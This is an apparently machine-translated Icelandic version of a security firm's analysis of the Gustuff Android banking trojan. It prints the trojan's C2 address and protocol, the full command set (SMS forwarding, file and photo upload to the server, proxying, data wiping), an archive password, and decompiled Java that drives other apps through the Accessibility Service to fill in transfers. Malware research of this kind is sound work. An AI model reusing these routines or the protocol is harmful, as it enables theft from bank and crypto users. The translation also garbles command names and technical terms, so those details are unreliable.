Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum

Núna um daginn Group-IB upplýst um virkni farsíma Android Trojan Gustuff. Það virkar eingöngu á alþjóðlegum mörkuðum, ræðst á viðskiptavini 100 stærstu erlendu bankanna, notendur farsíma 32 dulritunarveskis, auk stórra rafrænna viðskiptaauðlinda. En verktaki Gustuff er rússneskumælandi netglæpamaður undir gælunafninu Bestoffer. Þar til nýlega lofaði hann Trójumanninn sinn sem „alvarlega vöru fyrir fólk með þekkingu og reynslu.

Sérfræðingur í greiningu illgjarnra kóða hjá Group-IB Ivan Pisarev í rannsókn sinni talar hann ítarlega um hvernig Gustuff virkar og hverjar hættur þess eru.

Að hverjum er Gustuff að veiða?

Gustuff tilheyrir nýrri kynslóð spilliforrita með fullkomlega sjálfvirkum aðgerðum. Að sögn þróunaraðilans er Trójuverjinn orðin ný og endurbætt útgáfa af AndyBot spilliforritinu, sem síðan í nóvember 2017 hefur ráðist á Android síma og stolið peningum í gegnum vefveiðareyðublöð sem líkjast farsímaforritum þekktra alþjóðlegra banka og greiðslukerfa. Bestoffer greindi frá því að leiguverð Gustuff Bot væri $800 á mánuði.

Greining á Gustuff sýninu sýndi að Trójuverjinn er hugsanlega að miða á viðskiptavini sem nota farsímaforrit stærstu bankanna, eins og Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, sem og dulritunarveski. Bitcoin veski, BitPay, Cryptopay, Coinbase osfrv.

Upphaflega búið til sem klassískt bankatróju, í núverandi útgáfu hefur Gustuff stækkað verulega listann yfir hugsanleg skotmörk fyrir árás. Auk Android forrita fyrir banka, fintech fyrirtæki og dulritunarþjónustu, er Gustuff ætlað notendum markaðstorgforrita, netverslana, greiðslukerfa og skyndiboða. Einkum PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut og fleiri.

Aðgangspunktur: útreikningur fyrir fjöldasýkingu

Gustuff einkennist af „klassíska“ vektornum sem kemst inn í Android snjallsíma í gegnum SMS-póst með tenglum á APK-skrá. Þegar Android tæki er sýkt af tróju í stjórn netþjónsins getur Gustuff dreifst frekar í gegnum tengiliðagagnagrunn sýkta símans eða í gegnum netþjónsgagnagrunninn. Virkni Gustuff er hönnuð fyrir fjöldasýkingu og hámarksfjármögnun á viðskiptum rekstraraðila þess - það hefur einstaka „sjálfvirka útfyllingu“ aðgerð í lögmæt farsímabankaforrit og dulritunarveski, sem gerir þér kleift að flýta fyrir og stækka þjófnað á peningum.

Rannsókn á Trójudýrinu sýndi að sjálfvirk útfylling var innleidd í hann með því að nota Aðgengisþjónustuna, þjónustu fyrir fatlað fólk. Gustuff er ekki fyrsti Tróverjinn til að komast framhjá vernd gegn samskiptum við gluggaþætti annarra forrita sem nota þessa Android þjónustu. Hins vegar er enn frekar sjaldgæft að nota aðgengisþjónustu ásamt áfyllingarefni fyrir bíla.

Eftir að hafa hlaðið niður í síma fórnarlambsins getur Gustuff, með því að nota aðgengisþjónustuna, haft samskipti við gluggaþætti annarra forrita (banka, dulritunargjaldmiðils, sem og forrit fyrir netverslun, skilaboð o.s.frv.), framkvæmt nauðsynlegar aðgerðir fyrir árásarmennina. . Til dæmis, að stjórn netþjónsins, getur Tróverji ýtt á hnappa og breytt gildum textareita í bankaforritum. Notkun aðgengisþjónustukerfisins gerir Tróverji kleift að komast framhjá öryggisaðferðum sem bankar nota til að vinna gegn fyrri kynslóð farsíma Tróverja, sem og breytingar á öryggisstefnu sem Google hefur innleitt í nýjum útgáfum af Android OS. Þannig „veit Gustuff hvernig“ á að slökkva á Google Protect vernd: samkvæmt höfundinum virkar þessi aðgerð í 70% tilvika.

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum

Gustuff getur líka sýnt falsaðar PUSH tilkynningar með táknum lögmætra farsímaforrita. Notandinn smellir á PUSH tilkynninguna og sér phishing glugga sem er hlaðið niður af þjóninum, þar sem hann slær inn umbeðin bankakort eða dulritunarveskisgögn. Í annarri Gustuff-atburðarás er forritið sem PUSH-tilkynningin birtist fyrir hönd opnað. Í þessu tilviki getur spilliforritið, eftir skipun frá þjóninum í gegnum aðgengisþjónustuna, fyllt út eyðublaðareitina í bankaumsókn vegna sviksamlegra viðskipta.

Virkni Gustuff felur einnig í sér að senda upplýsingar um sýkt tæki á netþjóninn, getu til að lesa/senda SMS skilaboð, senda USSD beiðnir, ræsa SOCKS5 Proxy, fylgja hlekk, senda skrár (þar á meðal myndaskannanir af skjölum, skjámyndir, ljósmyndir) til miðlara, endurstilltu tækið í verksmiðjustillingar.

Malware greining

Áður en illgjarnt forrit er sett upp sýnir Android OS notandanum glugga sem inniheldur lista yfir réttindi sem Gustuff biður um:

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum
Forritið verður aðeins sett upp eftir að hafa fengið samþykki notandans. Eftir að forritið hefur verið ræst mun Trojan sýna notandanum glugga:

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum
Eftir það mun það fjarlægja táknið sitt.

Gustuff er pakkað, að sögn höfundar, af pakkara frá FTT. Eftir ræsingu hefur forritið reglulega samband við CnC netþjóninn til að fá skipanir. Nokkrar skrár sem við skoðuðum notuðu IP-tölu sem stýriþjónn 88.99.171[.]105 (hér eftir munum við tákna það sem <%CnC%>).

Eftir ræsingu byrjar forritið að senda skilaboð til netþjónsins http://<%CnC%>/api/v1/get.php.

Búist er við að svarið verði JSON á eftirfarandi sniði:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Í hvert sinn sem forritið er opnað sendir það upplýsingar um sýkta tækið. Skilaboðasniðið er sýnt hér að neðan. Þess má geta að reitirnir fullur, auka, forrit и leyfi – valfrjálst og verður aðeins sent ef um er að ræða beiðni frá CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Geymir stillingargögn

Gustuff geymir rekstrarlega mikilvægar upplýsingar í forgangsskrá. Skráarnafnið, sem og nöfn færibreytanna í því, eru afleiðing af útreikningi á MD5 summu úr strengnum 15413090667214.6.1<%nafn%>hvar <%name%> — upphaflegt nafngildi. Python túlkun á nafnmyndunarfallinu:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Í því sem hér fer á eftir munum við tákna það sem nafn Generator (inntak).
Svo fyrsta skráarnafnið er: name Generator("API_SERVER_LIST"), það inniheldur gildi með eftirfarandi nöfnum:

Breytilegt nafn Gildi
name Generator("API_SERVER_LIST") Inniheldur lista yfir CnC vistföng í formi fylkis.
name Generator("API_SERVER_URL") Inniheldur CnC heimilisfangið.
name Generator("SMS_UPLOAD") Fáninn er sjálfgefið stilltur. Ef fáninn er stilltur, sendir SMS skilaboð til CnC.
name Generator("SMS_ROOT_NUMBER") Símanúmer sem SMS-skilaboð sem sýkta tækið berst verða send til. Sjálfgefið er núll.
name Generator("SMS_ROOT_NUMBER_RESEND") Fáninn er hreinsaður sjálfgefið. Ef það er uppsett, þegar sýkt tæki fær SMS, verður það sent á rótarnúmerið.
name Generator("DEFAULT_APP_SMS") Fáninn er hreinsaður sjálfgefið. Ef þetta flagg er stillt mun forritið vinna úr mótteknum SMS skilaboðum.
name Generator("DEFAULT_ADMIN") Fáninn er hreinsaður sjálfgefið. Ef fáninn er stilltur hefur forritið stjórnandaréttindi.
name Generator("DEFAULT_ACCESSIBILITY") Fáninn er hreinsaður sjálfgefið. Ef fáninn er stilltur er þjónusta sem notar aðgengisþjónustu í gangi.
name Generator("APPS_CONFIG") JSON hlutur sem inniheldur lista yfir aðgerðir sem þarf að framkvæma þegar aðgengistilvik sem tengist tilteknu forriti er ræst.
name Generator("APPS_INSTALLED") Geymir lista yfir forrit sem eru uppsett á tækinu.
name Generator("IS_FIST_RUN") Fáninn er endurstilltur við fyrstu ræsingu.
name Generator("UNIQUE_ID") Inniheldur einstakt auðkenni. Myndað þegar vélmenni er ræst í fyrsta skipti.

Eining til að vinna úr skipunum frá þjóninum

Forritið geymir vistföng CnC netþjóna í formi fylkis sem er umritað af 85. gr línur. Hægt er að breyta listanum yfir CnC netþjóna við móttöku viðeigandi skipunar, í því tilviki verða vistföngin geymd í forstillingarskrá.

Sem svar við beiðninni sendir þjónninn skipun til forritsins. Það er athyglisvert að skipanir og færibreytur eru settar fram á JSON sniði. Forritið getur unnið úr eftirfarandi skipunum:

Team Lýsing
áframStart Byrjaðu að senda SMS-skilaboð sem sýkt tæki berast til CnC netþjónsins.
áframStöðva Hættu að senda SMS-skilaboð sem sýkt tæki berast til CnC netþjónsins.
ussdRun Framkvæma USSD beiðni. Númerið sem þú þarft til að senda USSD beiðni til er staðsett í JSON reitnum „númer“.
senda SMS Sendu eitt SMS-skilaboð (ef nauðsyn krefur er skilaboðunum „skipt“ í hluta). Sem færibreyta tekur skipunin JSON hlut sem inniheldur reitina „to“ - áfangastaðsnúmerið og „body“ - meginmál skilaboðanna.
sendSmsAb Sendu SMS-skilaboð (ef nauðsyn krefur, er skilaboðunum „skipt“ í hluta) til allra á tengiliðalista sýkta tækisins. Tímabilið á milli sendingar skilaboða er 10 sekúndur. Meginmál skilaboðanna er í JSON reitnum „body“
sendaSmsMass Sendu SMS-skilaboð (ef nauðsyn krefur er skilaboðunum „skipt“ í hluta) til tengiliða sem tilgreindir eru í skipunarbreytunum. Tímabilið á milli sendingar skilaboða er 10 sekúndur. Sem færibreyta tekur skipunin JSON fylki („sms“ reiturinn), en þættir þess innihalda reitina „to“ - áfangastaðsnúmerið og „body“ - meginmál skilaboðanna.
changeServer Þessi skipun getur tekið gildi með lyklinum „url“ sem færibreytu - þá mun vélmenni breyta gildi nameGenerator(“SERVER_URL“), eða „array“ - þá skrifar vélmaðurinn fylkið í nameGenerator (“API_SERVER_LIST“) Þannig breytir forritið heimilisfangi CnC netþjónanna.
adminNúmer Skipunin er hönnuð til að vinna með rótartölu. Skipunin tekur við JSON hlut með eftirfarandi færibreytum: „númer“ — breyttu nafnGenerator(“ROOT_NUMBER“) í móttekið gildi, „endursenda“ — breytið nafniGenerator(“SMS_ROOT_NUMBER_RESEND“), „sendId“ — sendu í nafnGenerator(“ROOT_NUMBER“ ) einstakt auðkenni.
uppfærsluupplýsingar Sendu upplýsingar um sýkta tækið til netþjónsins.
eyða gögnum Skipuninni er ætlað að eyða notendagögnum. Það fer eftir því hvaða nafni forritið var ræst, annað hvort er gögnunum eytt að fullu með endurræsingu tækisins (aðalnotandi), eða aðeins notendagögnum er eytt (einni notandi).
socksStart Ræstu proxy-eininguna. Rekstri einingarinnar er lýst í sérstökum kafla.
sokkarStopp Stöðva proxy-eininguna.
openLink Fylgdu hlekknum. Hlekkurinn er staðsettur í JSON færibreytunni undir „url“ lyklinum. Til að opna hlekkinn, notaðu „android.intent.action.VIEW“.
uploadAllSms Sendu öll SMS-skilaboð sem tækið berst til netþjónsins.
hlaða upp öllum myndum Sendu myndir úr sýktu tæki á vefslóð. Slóðin kemur sem færibreyta.
hlaða upp skrá Sendu skrá á vefslóð úr sýktu tæki. Slóðin kemur sem færibreyta.
hlaða upp símanúmerum Sendu símanúmer af tengiliðalistanum þínum til netþjónsins. Ef JSON hlutargildi með lyklinum „ab“ er móttekið sem færibreytu fær forritið lista yfir tengiliði úr símaskránni. Ef JSON hlutur með lyklinum „sms“ er móttekin sem færibreyta, les forritið lista yfir tengiliði frá sendendum SMS skilaboða.
changeArchive Forritið hleður niður skránni frá heimilisfanginu sem kemur sem færibreyta með því að nota „url“ takkann. Skráin sem hlaðið er niður er vistuð með nafninu „archive.zip“. Forritið mun þá opna skrána, mögulega með því að nota skjalasafnslykilorðið „b5jXh37gxgHBrZhQ4j3D“. Afþjöppuðu skrárnar eru vistaðar í [ytri geymslu]/hgps möppunni. Í þessari möppu geymir forritið veffalsanir (lýst hér að neðan).
aðgerðir Skipunin er hönnuð til að vinna með Action Service, sem lýst er í sérstökum kafla.
próf Gera ekkert.
sækja Skipuninni er ætlað að hlaða niður skrá frá ytri netþjóni og vista hana í „niðurhal“ möppuna. Vefslóðin og skráarnafnið koma sem færibreytur, reitir í JSON færibreytuhlutnum, í sömu röð: „url“ og „fileName“.
fjarlægja Fjarlægir skrá úr "Downloads" möppunni. Skráarnafnið kemur í JSON færibreytu með „fileName“ lyklinum. Staðlað skráarheiti er „tmp.apk“.
tilkynning Sýndu tilkynningu með lýsingu og titli sem skilgreindur er af stjórnunarþjóninum.

Skipunarsnið tilkynning:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Tilkynningin sem myndast af skránni sem er til rannsóknar lítur út eins og tilkynningarnar sem myndast af forritinu sem tilgreint er í reitnum app. Ef reiturinn gildi openApp — Að vísu er forritið sem tilgreint er í reitnum opnað þegar tilkynning er opnuð app. Ef reiturinn gildi openApp — Rangt, þá:

  • Vefveiðargluggi opnast, en innihald hans er hlaðið niður úr möppunni <%ytri geymsla%>/hgps/<%skráarnafn%>
  • Vefveiðargluggi opnast, en innihald hans er hlaðið niður af þjóninum <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Vefveiðargluggi opnast, dulbúinn sem Google Play kort, með möguleika á að slá inn kortaupplýsingar.

Forritið sendir niðurstöðu hvaða skipunar sem er til <%CnC%>set_state.php sem JSON hlutur á eftirfarandi sniði:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Listinn yfir skipanir sem forritið vinnur inniheldur aðgerð. Þegar skipun er móttekin hefur skipanavinnslueiningin aðgang að þessari þjónustu til að framkvæma auknu skipunina. Þjónustan samþykkir JSON hlut sem færibreytu. Þjónustan getur framkvæmt eftirfarandi skipanir:

1. PARAMS_ACTION — þegar slík skipun er móttekin fær þjónustan fyrst frá JSON færibreytunni gildi Type lykilsins, sem getur verið sem hér segir:

  • þjónustuupplýsingar – undirskipunin fær gildið með lykli frá JSON færibreytunni includeNotImportant. Ef fáninn er True setur forritið fánann FLAG_ISOLATED_PROCESS til þjónustu sem notar aðgengisþjónustuna. Þannig verður þjónustan opnuð í sérstöku ferli.
  • rót — taka á móti og senda á netþjóninn upplýsingar um gluggann sem er í brennidepli. Forritið fær upplýsingar með AccessibilityNodeInfo flokki.
  • Admin — biðja um stjórnandaréttindi.
  • töf — stöðva ActionsService í þann fjölda millisekúndna sem tilgreindur er í færibreytunni fyrir „gagna“ lykilinn.
  • Windows — sendu lista yfir glugga sem eru sýnilegir notandanum.
  • setja — settu upp forritið á sýkta tækinu. Nafn skjalapakkans er í „fileName“ lyklinum. Skjalasafnið sjálft er staðsett í niðurhalsskránni.
  • Alþjóðlegt – undirskipuninni er ætlað að fletta frá núverandi glugga:
    • í flýtistillingarvalmyndinni
    • afturábak
    • heim
    • til tilkynninga
    • í nýlega opnaði forritagluggann

  • ráðast - ræstu forritið. Nafn forritsins kemur sem færibreyta með lykli gögn.
  • hljóð — breyttu hljóðstillingunni í þögn.
  • opna — kveikir á baklýsingu skjásins og lyklaborðsins í fullri birtu. Forritið framkvæmir þessa aðgerð með því að nota WakeLock og tilgreinir strenginn [Umsóknarmerki]:INFO sem merki
  • leyfiYfirlag — aðgerðin er ekki útfærð (svarið við framkvæmd skipana er {"message":"Not support"} eða {"message":"low sdk"})
  • látbragði — aðgerðin er ekki útfærð (svarið við framkvæmd skipunar er {"message":"Not support"}eða {"message":"Low API"})
  • heimildir — þessi skipun er nauðsynleg til að biðja um leyfi fyrir forritinu. Hins vegar er fyrirspurnaraðgerðin ekki útfærð, svo skipunin er tilgangslaus. Listinn yfir umbeðin réttindi kemur sem JSON fylki með „heimildum“ lyklinum. Venjulegur listi:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • opna — birta vefveiðarglugga. Það fer eftir færibreytunni sem kemur frá þjóninum, forritið gæti birt eftirfarandi vefveiðarglugga:
    • Sýndu vefveiðarglugga þar sem innihaldið er skrifað í skrá í möppu <%external map%>/hgps/<%param_filename%>. Niðurstaða samskipta notenda við gluggann verður send til <%CnC%>/records.php
    • Sýndu vefveiðarglugga þar sem innihaldið er fyrirfram hlaðið frá heimilisfanginu <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Niðurstaða samskipta notenda við gluggann verður send til <%CnC%>/records.php
    • Sýndu vefveiðarglugga dulbúinn sem Google Play kort.

  • gagnvirk — skipunin er hönnuð til að hafa samskipti við gluggaþætti annarra forrita sem nota AcessibilityService. Sérstök þjónusta hefur verið innleidd í áætlunina um samskipti. Forritið sem er til rannsóknar getur haft samskipti við Windows:
    • Virkur eins og er. Í þessu tilviki inniheldur færibreytan auðkenni eða texta (nafn) hlutarins sem þú þarft að hafa samskipti við.
    • Sýnilegt notandanum á þeim tíma sem skipunin er framkvæmd. Forritið velur glugga eftir auðkenni.

    Að hafa fengið hluti AccessibilityNodeInfo Fyrir áhugaverða gluggaþætti getur forritið, eftir breytum, framkvæmt eftirfarandi aðgerðir:

    • fókus — stilltu fókus á hlutinn.
    • smelltu — smelltu á hlut.
    • actionId — framkvæma aðgerð með auðkenni.
    • setText — breyttu texta hlutar. Það er hægt að breyta textanum á tvo vegu: framkvæma aðgerð ACTION_SET_TEXT (ef Android útgáfan af sýkta tækinu er yngri en eða jöfn LOLLIPOP), eða með því að setja streng á klemmuspjaldið og líma hann inn í hlut (fyrir eldri útgáfur). Þessa skipun er hægt að nota til að breyta gögnum í bankaforriti.

2. PARAMS_ACTIONS - eins og PARAMS_ACTION, aðeins JSON fylki skipana kemur.

Svo virðist sem margir muni hafa áhuga á hvernig virkni þess að hafa samskipti við gluggaþætti annars forrits lítur út. Svona er þessi virkni útfærð í Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Textaskiptaaðgerð:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Þannig getur Gustuff, með réttri uppsetningu stjórnunarþjónsins, fyllt út textareiti í bankaforritinu og smellt á nauðsynlega hnappa til að ljúka viðskiptunum. Tróverjinn þarf ekki einu sinni að skrá sig inn í forritið - það er nóg að senda skipun til að birta PUSH tilkynningu og opna síðan bankaforritið sem áður var uppsett. Notandinn mun auðkenna sjálfan sig og eftir það mun Gustuff geta fyllt bílinn.

SMS skilaboð vinnslu eining

Forritið setur upp atburðastjórnun fyrir sýkta tækið til að samþykkja SMS skilaboð. Forritið sem er til skoðunar getur tekið á móti skipunum frá símafyrirtækinu, sem koma í meginmáli SMS-skilaboðanna. Skipanir koma á formi:

7!5=<%Base64 kóðuð skipun%>

Forritið leitar að strengnum í öllum SMS-skilaboðum sem berast 7!5=, þegar strengur greinist, afkóðar hann strenginn frá Base64 í offset 4 og framkvæmir skipunina. Skipanirnar eru svipaðar og með CnC. Framkvæmdarniðurstaðan er send á sama númer og skipunin kom frá. Svarsnið:

7*5=<%Base64 kóðun af “result_code skipun”%>

Valfrjálst getur forritið sent öll móttekin skilaboð á rótarnúmerið. Til að gera þetta verður að tilgreina rótarnúmerið í forstillingarskránni og stilla á tilvísunarfána skilaboða. SMS skilaboð eru send á númer árásarmannsins á sniðinu:

<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Einnig, valfrjálst, getur forritið sent skilaboð til CnC. SMS-skilaboðin eru send til netþjónsins á JSON-sniði:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ef fáninn er settur name Generator("DEFAULT_APP_SMS") – forritið hættir að vinna úr SMS skilaboðunum og hreinsar listann yfir móttekinn skilaboð.

Proxy mát

Forritið sem er til skoðunar inniheldur Backconnect Proxy mát (hér eftir nefnt Proxy mát), sem hefur sérstakan flokk sem inniheldur truflanir reiti með stillingum. Stillingargögn eru geymd í sýninu á skýru formi:

Hvernig Android Trojan Gustuff rennir rjómanum (fiat og crypto) af reikningunum þínum

Allar aðgerðir sem framkvæmdar eru af proxy-einingunni eru skráðar inn í skrár. Til að gera þetta býr forritið í ytri geymslu til möppu sem kallast „logs“ (ProxyConfigClass.logsDir reiturinn í stillingarflokknum), þar sem annálaskrár eru geymdar. Skráning á sér stað í skrám með nöfnum:

  1. main.txt – starf bekkjarins sem heitir CommandServer er skráð inn í þessa skrá. Í því sem hér fer á eftir verður skráning á strengnum str inn í þessa skrá táknuð sem mainLog(str).
  2. session-<%id%>.txt — þessi skrá vistar annálsgögn sem tengjast tiltekinni proxy-lotu. Í því sem hér fer á eftir mun skráning á strengnum str við þessa skrá vera táknuð sem sessionLog (str).
  3. server.txt – þessi skrá er notuð til að skrá öll gögn sem eru skrifuð í ofangreindar skrár.

Skrágagnasnið:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Undantekningar sem eiga sér stað við notkun Proxy einingarinnar eru einnig skráðar í skrá. Til að gera þetta býr forritið til JSON hlut á eftirfarandi sniði:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Síðan breytir það því í strengjaframsetningu og skráir það.

Proxy einingin er ræst eftir að hafa fengið samsvarandi skipun. Þegar skipun berst um að ræsa Proxy-eininguna ræsir forritið þjónustu sem heitir Aðalþjónusta, sem ber ábyrgð á að stjórna rekstri Proxy einingarinnar - ræsa hana og stöðva hana.

Stig við að hefja þjónustuna:

1. Ræsir tímamæli sem keyrir einu sinni á mínútu og athugar virkni proxy-einingarinnar. Ef einingin er ekki virk ræsir hún hana.
Einnig þegar atburðurinn er settur af stað android.net.conn.CONNECTIVITY_CHANGE Proxy einingin er ræst.

2. Forritið býr til wake-lock með færibreytunni PARTIAL_WAKE_LOCK og fangar hann. Þetta kemur í veg fyrir að CPU tækisins fari í svefnham.

3. Ræsir skipanavinnsluflokk Proxy einingarinnar, skráir fyrst línuna mainLog ("ræsa miðlara") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

þar sem proxy_cnc, command_port og proxy_port – færibreytur fengnar úr stillingum proxy-miðlara.

Skipanavinnsluflokkurinn er kallaður CommandConnection. Strax eftir ræsingu, framkvæmir eftirfarandi aðgerðir:

4. Tengist við ProxyConfigClass.host: ProxyConfigClass.commandPort og sendir gögn um sýkta tækið þangað á JSON sniði:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Hvar:

  • id – auðkenni, reynir að fá gildi með „id“ reitnum úr Shared Preference skránni sem heitir „x“. Ef ekki var hægt að fá þetta gildi myndar það nýtt. Þannig hefur Proxy einingin sitt eigið auðkenni, sem er búið til á svipaðan hátt og Bot ID.
  • imei — IMEI tækisins. Ef villa kom upp í ferlinu við að fá gildið verða villutextaskilaboð skrifuð í stað þessa reits.
  • imsi — Auðkenni alþjóðlegs farsímaáskrifanda tækisins. Ef villa kom upp í ferlinu við að fá gildið verða villutextaskilaboð skrifuð í stað þessa reits.
  • líkan — Heiti sem er sýnilegt notanda fyrir lokaafurðina.
  • framleiðandi — Framleiðandi vörunnar/vélbúnaðarins (Build.MANUFACTURER).
  • androidVersion - strengur á sniðinu "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • land — núverandi staðsetning tækisins.
  • partnerId er tómur strengur.
  • pakkaheiti – nafn pakka.
  • networkType — gerð núverandi nettengingar (dæmi: „WIFI“, „MOBILE“). Ef um villu er að ræða, skilar núll.
  • hasGsmSupport – satt – ef síminn styður GSM, annars ósatt.
  • simReady – Staða SIM-korts.
  • simCountry - ISO landskóði (byggt á SIM kortaveitu).
  • netRekstraraðili — nafn símafyrirtækis. Ef villa kom upp í ferlinu við að fá gildið verða villutextaskilaboð skrifuð í stað þessa reits.
  • simOperator - Nafn þjónustuveitunnar (SPN). Ef villa kom upp í ferlinu við að fá gildið verða villutextaskilaboð skrifuð í stað þessa reits.
  • útgáfa - þessi reitur er geymdur í stillingarflokknum fyrir prófaðar útgáfur af botninum var það jafnt og "1.6".

5. Skiptir yfir í þann hátt að bíða eftir skipunum frá þjóninum. Skipanir frá þjóninum koma á sniðinu:

  • 0 offset – skipun
  • 1 offset – sessionId
  • 2 offset – lengd
  • 4 offset - gögn

Þegar skipun berst skráir forritið:
mainLog("Header { sessionId<%id%>], type[<%command%>], lengd[<%length%>] }")

Eftirfarandi skipanir frá þjóninum eru mögulegar:

heiti Skipun Gögn Lýsing
connectId 0 Auðkenni tengingar Búðu til nýja tengingu
SLEEP 3 tími Gerðu hlé á proxy-einingunni
BORÐTENNIS 4 - Sendu PONG skilaboð

PONG skilaboð samanstanda af 4 bætum og líta svona út: 0x04000000.

Þegar connectionId skipunin er móttekin (til að búa til nýja tengingu) CommandConnection býr til dæmi um flokk ProxyConnection.

  • Tveir flokkar taka þátt í umboði: ProxyConnection и enda. Þegar þú býrð til bekk ProxyConnection tengist heimilisfanginu ProxyConfigClass.host: ProxyConfigClass.proxyPort og sendir JSON hlutinn:

 {
    "id":<%connectionId%>
}

